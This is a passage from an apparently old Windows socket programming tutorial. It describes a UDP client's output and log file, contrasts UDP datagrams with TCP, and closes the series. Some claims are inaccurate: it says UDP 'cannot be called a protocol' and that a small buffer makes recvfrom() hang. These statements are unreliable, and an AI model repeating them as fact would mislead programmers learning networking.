In the previous program we had sent a message to the server saying, " Hello, How are you? ". Now after you had clicked on the message box in the U.D.P. server, you will receive what the server is sending back to you. This message is caught in the ‘ recvfrom()’ function and displayed in our message box. In our U.D.P. server we had used a ‘ sendto()’ function with the message " Hi, I am fine, Thank you ". Now this is the message which will be displayed in our MessageBox. You have also stored this message in your "b.txt" file which will now look as shown below.

WSASTARTUP = 0
SOCKET 3
Hello, How are you ?
send to 100
Message From Server = Hi ,I am fine, Thank you

 

This was your U.D.P. client. Now lets understand what U.D.P. means. The key word here is " Datagram ". Now what does ‘ Datagram ‘ mean? When we send a Datagram to someone, he knows that it is an independent entity. Three datagrams, sent one after the other, have nothing to do with each other. You know that in TCP, when you had wanted to send ‘ 200 ‘ bytes of data, you could send ‘ 10 ‘ packets, each having ‘ 20 ‘ bytes of data, to the server, who would receive all the ‘ 10 ’ packets, one after another, totalling ‘ 200 ’ bytes of data. In U.D.P., you could send a file of ‘ 200 ‘ bytes of data to the server and the server would receive the whole ‘ 200 ‘ bytes of data in a single packet. But if you make the mistake of fragmenting your file into ‘ 10 ’ packets with ‘ 20 ’ bytes of data in each, the U.D.P. server will accept all the ‘ 10 ’ packets as different entities - or should we say as 10 different client calls. In TCP, you need not specify the buffer size, if the file was large enough, it would automatically get fragmented and sent to the server in different packets. But in U.D.P. if you send the server ‘ 200 ‘ bytes of data, the client has to have a buffer of ‘ 200 ‘. If the client has a buffer size of ‘ 150 ‘ bytes, then the machine will hang on the ‘ recvfrom() ’ function.

U.D.P. actually cannot be called a protocol as it is extremely simplistic. No complications whatsoever in U.D.P.

Wrapping it all up..

Now looking at all these programs what is the first thing you notice? Don’t you find it surprising that there is nothing about the Internet in our lines of code? These programs are written in basic ‘ C ‘ Windows Programming code. Don’t you find it amusing that you can now fool around with the Internet with this basic knowledge of programming code ?

Well, these are some of the Internet related programs. We hope that having looked at these programs, you have now lost your fears of the Internet. You will now be able to create your own Netscape or your very own Internet Explorer - that is for you to decide. You can also send E-Mail to friends and relatives as well as download the messages which is present in your POP3 server.

Back to Windows Socket Programming

Back to the main page